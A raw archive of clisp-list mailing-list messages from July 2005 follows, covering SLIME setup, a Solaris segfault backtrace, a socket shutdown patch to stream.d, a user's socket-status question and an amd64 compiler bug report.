47 Message-ID: References: <5F9130612D07074EB0A0CE7E69FD7A030529883D@S4DE8PSAAGS.blf.telekom.de> X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 80-102-195-9.bcn1.dialup.uni2.es X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2900.2527 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 X-RFC2646: Format=Flowed; Original X-Spam-Score: 1.3 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 PRIORITY_NO_NAME Message has priority, but no X-Mailer/User-Agent 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Dose slime really support clisp ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 14:22:10 2005 X-Original-Date: Tue, 26 Jul 2005 22:51:46 +0200 Hello, works fine for me. Eval buffer the following Elisp file M-x slime and voila ; SLIME 2005-07-06 CL-USER> (+ 3 4) 7 CL-USER> (lisp-implementation-version) "2.34 (2005-07-20) (built on DBTGFX0J.karsten.com [127.0.0.1])" CL-USER> There was a problem with Visual C compiled stock clisp, but this is fixed in newest slime loadMingwClispSlime.el (load-library "inf-lisp") (setq inferior-lisp-program "c:\\cygwin\\home\\karsten\\clisp\\22050722mingw\\clisp.exe -K full -ansi -Lenglish -E utf-8" lisp-indent-function 'common-lisp-indent-function inferior-lisp-prompt "^[^> \n]*[>:]+ *") (add-to-list 'load-path "c:/cygwin/home/Karsten/slime/slime") (require 'slime) (slime-setup) or for windows (load-library "inf-lisp") ;; Define the program to be called by M-x run-lisp. (setq inferior-lisp-program "c:\\Programs\\clisp-2.33.2\\full\\lisp.exe -M c:\\Programs\\clisp-2.33.2\\full\\lispinit.mem -ansi -E UTF-8 -Lenglish" lisp-indent-function 'common-lisp-indent-function inferior-lisp-prompt "^[^> \n]*[>:]+ *") (add-to-list 'load-path "c:/cygwin/home/Karsten/slime/slime") (require 'slime) (slime-setup) From beebe@math.utah.edu Tue Jul 26 14:54:39 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxXNl-0001zM-Ii for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 14:54:37 -0700 Received: from sunshine2.math.utah.edu ([155.101.96.3] ident=[y76tXLHwdDOjhgkyvOp0TLPyM/CIsDXr]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DxXNj-0000J1-BR for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 14:54:37 -0700 Received: from psi.math.utah.edu (IDENT:NKZwtPgi/nCUj1SWXevSDO9HuQGcp1T/@psi.math.utah.edu [155.101.96.19]) by sunshine2.math.utah.edu (8.13.4/8.13.4) with ESMTP id j6QLsO9t016638; Tue, 26 Jul 2005 15:54:24 -0600 (MDT) Received: from psi.math.utah.edu (IDENT:mcTlxDvp3sRtHfYryh5w0CNw+mGUyZWb@localhost [127.0.0.1]) by psi.math.utah.edu (8.13.4/8.13.4) with ESMTP id j6QLsOaN022516; Tue, 26 Jul 2005 15:54:24 -0600 (MDT) Received: (from beebe@localhost) by psi.math.utah.edu (8.13.4/8.13.4/Submit) id j6QLsOtN022515; Tue, 26 Jul 2005 15:54:24 -0600 (MDT) From: "Nelson H. F. Beebe" To: clisp-list@lists.sourceforge.net, Sam Steingold , Bruno Haible Cc: beebe@math.utah.edu X-US-Mail: "Department of Mathematics, 110 LCB, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe In-Reply-To: Your message of Tue, 26 Jul 2005 09:31:11 -0400 Message-ID: X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0 (sunshine2.math.utah.edu [155.101.96.3]); Tue, 26 Jul 2005 15:54:24 -0600 (MDT) X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp-2.34 build comments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 14:55:08 2005 X-Original-Date: Tue, 26 Jul 2005 15:54:24 -0600 (MDT) Here is more of the requested debugging output for the segment violation on Sun Solaris 10 of clisp-2.34: % gdb lisp.run GNU gdb 6.3 ... (gdb) boot (gdb) run Starting program: /local/build/gcc/clisp-2.34/build-g/lisp.run -B . -N locale -M lispinit.mem -q -norc [1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP")) Program received signal SIGSEGV, Segmentation fault. 0x00063c74 in translate_directory (subst=0x1dc094, pattern=0x666afc8b, logical=false) at pathname.d:4717 4717 if (eq(Car(pattern),S(Kabsolute)) && mconsp(*subst) (gdb) xout *subst ("foo" "lisp" CL::NIL)1718287387 (gdb) xout pattern (:ABSOLUTE)1718287499 (gdb) zout *subst ("foo" "lisp" NIL) 1718287387 (gdb) zout pattern (:ABSOLUTE) 1718287499 (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /local/build/gcc/clisp-2.34/build-g/lisp.run -B . -N locale -M lispinit.mem -q -norc [1]> (logical-pathname-translations "SYS") ((#S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE :UNSPECIFIC :DIRECTORY (:RELATIVE) :NAME :WILD :TYPE "LISP" :VERSION NIL) "*.lisp") (#S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE :UNSPECIFIC :DIRECTORY (:RELATIVE) :NAME :WILD :TYPE NIL :VERSION NIL) "*") (#S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE :UNSPECIFIC :DIRECTORY (:ABSOLUTE) :NAME :WILD :TYPE NIL :VERSION NIL) "/*")) ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - University of Utah FAX: +1 801 581 4148 - - Department of Mathematics, 110 LCB Internet e-mail: beebe@math.utah.edu - - 155 S 1400 E RM 233 beebe@acm.org beebe@computer.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- From sds@gnu.org Tue Jul 26 16:52:26 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxZDm-0007Ib-Dh for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 16:52:26 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxZDj-00050z-Vy for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 16:52:26 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6QNqFNY004128 for ; Tue, 26 Jul 2005 19:52:15 -0400 (EDT) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BRACKET_OPEN BODY: Text interparsed with [ 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] shutdown & close Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 16:53:00 2005 X-Original-Date: Tue, 26 Jul 2005 19:51:36 -0400 one issue postponed until 2.34 was making socket-stream-shutdown always just do shutdown, never close, as per the doc. the patch is appended. the problem I observe is that shutdown(3,??); close(3); always results in an error: cygwin: [4]> (setq s (socket-connect 21 "ftp.gnu.org")) # [5]> (socket-stream-shutdown s :io) NIL [6]> (close s) [stream.d:4472] *** - UNIX error 9 (EBADF): Bad file number The following restarts are available: ABORT :R1 ABORT Break 1 [7]> win32: [1]> (setq s (socket-connect 21 "ftp.gnu.org")) # [2]> (socket-stream-shutdown s :io) NIL [3]> s # [4]> (close s) *** - Winsock error 10038 (ENOTSOCK): Socket operation on non-socket The following restarts are available: ABORT :R1 ABORT Break 1 [5]> -- Sam Steingold (http://www.podval.org/~sds) running w2k Every day above ground is a good day. --- stream.d 08 Jul 2005 14:20:41 -0400 1.527 +++ stream.d 26 Jul 2005 19:26:44 -0400 @@ -3768,13 +3768,15 @@ # therefore needs special treatment in # the low_listen function on some OSes # (used by unbuffered streams only) - #define strm_ichannel strm_other[4] # the input channel, + #define strm_ichannel_position 4 /* ichannel index */ + #define strm_ichannel strm_other[strm_ichannel_position] # the input channel, # an encapsulated handle, or, on # WIN32_NATIVE, an encapsulated SOCKET # Fields used for the output side only: - #define strm_ochannel strm_other[5] # the output channel, + #define strm_ochannel_position 5 /* ochannel index */ + #define strm_ochannel strm_other[strm_ochannel_position] # the output channel, # an encapsulated handle, or, on # WIN32_NATIVE, an encapsulated SOCKET @@ -14593,17 +14595,31 @@ #ifdef HAVE_SHUTDOWN -# close a socket stream using shutdown(2) -# if DIRECTION is not :IO, CLOSE is also required! -# (SOCKET-STREAM-SHUTDOWN socket direction) +/* close a socket stream using shutdown(2) + (SOCKET-STREAM-SHUTDOWN socket direction) */ +local SOCKET get_handle_and_mark (object stream, uintB flag, int channel) { + TheStream(stream)->strmflags &= ~flag; + if (ChannelStream_buffered(stream)) { + buffered_flush_everything(stream); + return TheSocket(BufferedStream_channel(stream)); + } else + return TheSocket(TheStream(stream)->strm_other[channel]); +} LISPFUNN(socket_stream_shutdown,2) { var direction_t dir = check_direction(popSTACK()); - var object socket = test_socket_stream(STACK_0,false); var int shutdown_how = -1; - var bool rd_p = ((TheStream(STACK_0)->strmflags & strmflags_rd_B) != 0); - var bool wr_p = ((TheStream(STACK_0)->strmflags & strmflags_wr_B) != 0); + var bool rd_p = true; + var bool wr_p = true; + var uintB flag = 0; + var SOCKET handle = -1; + if (!integerp(STACK_0)) { + test_socket_stream(STACK_0,false); + rd_p = ((TheStream(STACK_0)->strmflags & strmflags_rd_B) != 0); + wr_p = ((TheStream(STACK_0)->strmflags & strmflags_wr_B) != 0); + } else /* raw socket */ + handle = (SOCKET)(I_to_uint32(check_uint32(STACK_0))); switch (dir) { - case DIRECTION_PROBE: # INPUT/OUTPUT/IO + case DIRECTION_PROBE: /* INPUT/OUTPUT/IO */ if (rd_p) { if (wr_p) value1 = S(Kio); else value1 = S(Kinput); @@ -14613,57 +14629,70 @@ } goto done; case DIRECTION_INPUT_IMMUTABLE: case DIRECTION_INPUT: - if (!wr_p) { # already not writable => CLOSE - TheStream(STACK_0)->strmflags ^= strmflags_wr_B; # restore :IO - funcall(L(built_in_stream_close),1); return; - } else if (!rd_p) { # not readable => done + if (!rd_p) { /* not readable => done */ value1 = NIL; goto done; } else { shutdown_how = SHUT_RD; - TheStream(STACK_0)->strmflags &= ~strmflags_rd_B; + flag = strmflags_rd_B; } break; case DIRECTION_OUTPUT: - if (!rd_p) { # already not readable => CLOSE - TheStream(STACK_0)->strmflags ^= strmflags_rd_B; # restore :IO - funcall(L(built_in_stream_close),1); return; - } else if (!wr_p) { # not writable => done + if (!wr_p) { /* not writable => done */ value1 = NIL; goto done; } else { shutdown_how = SHUT_WR; - TheStream(STACK_0)->strmflags &= ~strmflags_wr_B; + flag = strmflags_wr_B; } break; - case DIRECTION_IO: funcall(L(built_in_stream_close),1); return; + case DIRECTION_IO: + shutdown_how = SHUT_RDWR; + flag = strmflags_wr_B | strmflags_rd_B; + break; default: NOTREACHED; } - # still open in both directions + if (streamp(STACK_0)) { switch (TheStream(STACK_0)->strmtype) { case strmtype_twoway_socket: - if (dir == DIRECTION_OUTPUT) { - STACK_0 = TheStream(STACK_0)->strm_twoway_socket_output; + switch (dir) { + case DIRECTION_OUTPUT: TheStream(STACK_0)->strmflags &= ~strmflags_wr_B; - } else { # DIRECTION_INPUT || DIRECTION_INPUT_IMMUTABLE - STACK_0 = TheStream(STACK_0)->strm_twoway_socket_input; + handle = + get_handle_and_mark(TheStream(STACK_0)->strm_twoway_socket_output, + strmflags_wr_B,strm_ochannel_position); + break; + case DIRECTION_IO: + TheStream(STACK_0)->strmflags &= ~strmflags_wr_B; + get_handle_and_mark(TheStream(STACK_0)->strm_twoway_socket_output, + strmflags_wr_B,strm_ochannel_position); + /*FALLTHROUGH*/ + case DIRECTION_INPUT: case DIRECTION_INPUT_IMMUTABLE: TheStream(STACK_0)->strmflags &= ~strmflags_rd_B; - } /*FALLTHROUGH*/ + handle = + get_handle_and_mark(TheStream(STACK_0)->strm_twoway_socket_input, + strmflags_rd_B,strm_ichannel_position); + break; + default: NOTREACHED; + } + break; case strmtype_socket: - if (ChannelStream_buffered(STACK_0)) - buffered_flush_everything(STACK_0); - begin_system_call(); - if (shutdown((SOCKET)(ChannelStream_ihandle(STACK_0)),shutdown_how)) - { SOCK_error(); } - end_system_call(); + handle = get_handle_and_mark(STACK_0,flag,strm_ichannel_position); break; default: NOTREACHED; } + } + begin_system_call(); + printf("%d %d\n",handle,shutdown_how); + if (shutdown(handle,shutdown_how)) + { SOCK_error(); } + end_system_call(); + value1 = NIL; done: skipSTACK(1); mv_count = 1; } #endif -#endif # SOCKET_STREAMS +#endif /* SOCKET_STREAMS */ # Streams in general From ashwin.shirvanthe@gmail.com Wed Jul 27 02:30:23 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxiF4-0007A4-8E for clisp-list@lists.sourceforge.net; Wed, 27 Jul 2005 02:30:22 -0700 Received: from wproxy.gmail.com ([64.233.184.205]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxiF2-0006DG-NT for clisp-list@lists.sourceforge.net; Wed, 27 Jul 2005 02:30:22 -0700 Received: by wproxy.gmail.com with SMTP id 36so133280wra for ; Wed, 27 Jul 2005 02:30:10 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=YCHAWcfcfScCN0p23rp7tiROiCeKKqjTGEdkOOVZsGqK/d29VCAxKG+JKneLZ+WmZSvCqHhLoOFqBoYauug1FZTHSPB1CpPdJB99yCUx+rQGjUbr0X4NyFn1uSIAMwGF7heMjTWvi4a8QD1BfRCIqr5XHfyOkNl4KzK6ZEJTpig= Received: by 10.54.27.50 with SMTP id a50mr256773wra; Wed, 27 Jul 2005 02:30:10 -0700 (PDT) Received: by 10.54.95.7 with HTTP; Wed, 27 Jul 2005 02:29:48 -0700 (PDT) Message-ID: From: Ashwin Rao Reply-To: Ashwin Rao To: clisp-list@lists.sourceforge.net Cc: Ashwin Rao In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: socket programming related query Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 27 02:31:03 2005 X-Original-Date: Wed, 27 Jul 2005 14:59:48 +0530 On 7/26/05, Sam Steingold wrote: > > * Ashwin Rao [2005-07-26 19:35:12 +0500]: > > > > I have 2 open sockets in my list of sockets given to the socket-status > > function. One of them is the socket-server type (which accepts new > > connections) and other of socket-stream type. >=20 > I am not sure I quite understand your setup... >=20 > e.g.: >=20 > [38]> (setq stream (socket-connect 21 "ftp.gnu.org")) >=20 > # > [39]> (setq server (socket-server)) >=20 > # > [40]> (socket-status (list stream server)) >=20 > (:IO NIL) ; i.e., STREAM can be written to and read from, > ; but no connections are available on SERVER > 1 > [41]> (loop :while (listen stream) :do (print (read-line stream))) > ;; flush everything from STREAM > "220 GNU FTP server ready."=20 > NIL > [42]> (socket-status (list stream server)) >=20 > (:OUTPUT NIL) ; now you can only write to STREAM, not read from it > 1 > [43]> (listen stream) > ;; confirm - nothing to be read from STREAM > NIL > ;; now do "telnet locahost 1550": > [44]> (socket-status (list stream server)) >=20 > (:IO T) ; now SERVER has something to accept - but STREAM has something > too! > 2 > [45]> (listen stream) > ;; confirm > T > [46]> (loop :while (listen stream) :do (print (read-line stream))) >=20 > "421 Timeout." ;; oops... > NIL >=20 >=20 > > When data is sent from the client connected to the server the > > operation related to the socket-stream socket comes as OUTPUT, Why is > > this so , also what does INPUT and OUTPUT signify? >=20 > >=20 > > On doing a read-line (the client sends formatted data terminated by > > ~%") the data is obtained. > > But why am I getting the operation as OUTPUT? > > Also as read-line is a blocking call new connections are delayed (most > > of the times they are not created) as after reading the control comes > > to the read-line and waits there till data is sent from another side. > > > > function for reading the data on the socket is as follows > > > > (defun handle-raw-data-on (sock-fd operation) > > (format t "operation ~a" operation) > > (if (eql operation :output) > > (progn >=20 > (if a (progn b c d)) is better written as (when a b c d) >=20 > > =09(setf raw-data (read-line sock-fd nil)) > > =09(format t "Raw data ~a on ~a ~%" raw-data sock-fd)))) > > > > Please tell me where am I going wrong. >=20 > If I understand you correctly, you should be getting :INPUT instead of > :OUTPUT. > maybe you could debug it? > see src/stream.d:14272. >=20 >=20 > --=20 > Sam Steingold (http://www.podval.org/~sds) running w2k > > > OK, so you're a Ph.D. Just don't touch anything. >=20 Based on what you asked this are the steps I followed (Sorry for using the gnu server i.e copy paste of you code ;) [1]> (setq stream (socket-connect 21 "ftp.gnu.org")) # ;; as expected [2]> (setq server (socket-server)) # ;; good [3]> (socket-status (list stream server)) (:IO NIL) ;;; great 1 [4]> (listen stream) T [5]> (loop :while (listen stream) :do (print (read-line stream))) "220 GNU FTP server ready."=20 NIL [6]> (socket-status (list stream server)) (:OUTPUT NIL) ; 1 [7]> (socket-status (list stream server)) (:OUTPUT NIL) ; 1 ;; Now the funny part the status is still :output but the read-line gave some data ;; Why is this so. The next read after this failed. you can see it. I cant find out why? ;; Could you please help [8]> (loop :while (listen stream) :do (print (read-line stream))) ""=20 NIL ;; this the thing thats troubling me why is this thing happening [9]> (socket-status (list stream server)) (:OUTPUT NIL) ; 1 [10]> (loop :while (listen stream) :do (print (read-line stream))) NIL Regards Ashwin From werner@suse.de Wed Jul 27 09:00:32 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxoKc-0004Ox-F2 for clisp-list@lists.sourceforge.net; Wed, 27 Jul 2005 09:00:30 -0700 Received: from mx1.suse.de ([195.135.220.2]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DxoKX-0003V7-Jw for clisp-list@lists.sourceforge.net; Wed, 27 Jul 2005 09:00:30 -0700 Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id D4482EF4D; Wed, 27 Jul 2005 18:00:13 +0200 (CEST) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Cc: Bruno Haible Message-ID: <20050727160013.GA29824@wotan.suse.de> References: <20050725125623.GA29162@g31.suse.de> <20050725140936.GA2202@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: Organization: SuSE LINUX AG User-Agent: Mutt/1.5.6i X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Several problems with clisp 2.34 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 27 09:01:11 2005 X-Original-Date: Wed, 27 Jul 2005 18:00:13 +0200 On Mon, Jul 25, 2005 at 07:02:42PM -0400, Sam Steingold wrote: > > > > you may want to try the appended patch. > > it will replace the "unprintable error message" with a more meaningful > > "XLIB::CLOSED-DISPLAY" error. > > > > you still need to figure out why the display is invalid. > > specifically, set a breakpoint in ensure_living_display() > > and examine "fptr" with "xout" and "zout" (see src/.gdbinit). > > > > I bet this is yet another amd64 alignment problem... > > OK, I can reproduce this. > it appears that > gcc (GCC) 3.2.3 20030502 (Red Hat Linux 3.2.3-42) > on > Linux flume 2.4.21-20.ELsmp #1 SMP Wed Aug 18 20:34:58 EDT 2004 x86_64 x86_64 x86_64 GNU/Linux > > miscompiles ensure_living_display(): The same with gcc version 4.0.2 20050720 (prerelease) (SUSE Linux) on Linux g31 2.6.12 #1 SMP Wed Mar 23 21:52:37 UTC 2005 x86_64 x86_64 x86_64 GNU/Linux even if using -DSAFETY=3 and -O. Interesting that without -O or -O2 clisp crashes during dump. Beside this clisp 2.33.2 build with gcc version 3.3.5 20050117 (prerelease) (SUSE Linux) on Linux g31 2.6.11.4-20a-smp #1 SMP Wed Mar 23 21:52:37 UTC 2005 x86_64 x86_64 x86_64 GNU/Linux works flawless. With this result I'm looking on for the next clisp release for SuSE Linux. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Wed Jul 27 09:46:36 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dxp3D-0000Be-HA for clisp-list@lists.sourceforge.net; Wed, 27 Jul 2005 09:46:35 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dxox5-0001SR-SO for clisp-list@lists.sourceforge.net; Wed, 27 Jul 2005 09:40:17 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1Dxm3w-0006rl-Hj for clisp-list@lists.sourceforge.net; Wed, 27 Jul 2005 06:35:12 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6RDTH60018927; Wed, 27 Jul 2005 09:29:18 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Ashwin Rao Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Ashwin Rao's message of "Wed, 27 Jul 2005 14:59:48 +0530") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Ashwin Rao Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: socket programming related query Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 27 09:47:25 2005 X-Original-Date: Wed, 27 Jul 2005 09:28:38 -0400 > * Ashwin Rao [2005-07-27 14:59:48 +0500]: > > > [1]> (setq stream (socket-connect 21 "ftp.gnu.org")) > # ;; as expected > [2]> (setq server (socket-server)) > # ;; good > [3]> (socket-status (list stream server)) > (:IO NIL) ;;; great > 1 > [4]> (listen stream) > T > [5]> (loop :while (listen stream) :do (print (read-line stream))) > > "220 GNU FTP server ready." > NIL > [6]> (socket-status (list stream server)) > (:OUTPUT NIL) ; > 1 > [7]> (socket-status (list stream server)) > (:OUTPUT NIL) ; > 1 > > ;; Now the funny part the status is still :output but the read-line > gave some data > ;; Why is this so. The next read after this failed. you can see it. I > cant find out why? > ;; Could you please help did you actually _read_ the link I sent you? :OUTPUT means that you can do output on (i.e., you can write to) the stream. the stream indeed will accept your text, just try (format stream "foo~%") -- Sam Steingold (http://www.podval.org/~sds) running w2k If it has syntax, it isn't user friendly. From sds@gnu.org Wed Jul 27 10:21:33 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dxpb3-0002wQ-Jr for clisp-list@lists.sourceforge.net; Wed, 27 Jul 2005 10:21:33 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dxpb2-0005wx-2s for clisp-list@lists.sourceforge.net; Wed, 27 Jul 2005 10:21:33 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6RHLI0X024544 for ; Wed, 27 Jul 2005 13:21:19 -0400 (EDT) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Sam Steingold's message of "Tue, 26 Jul 2005 19:51:36 -0400") References: Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to 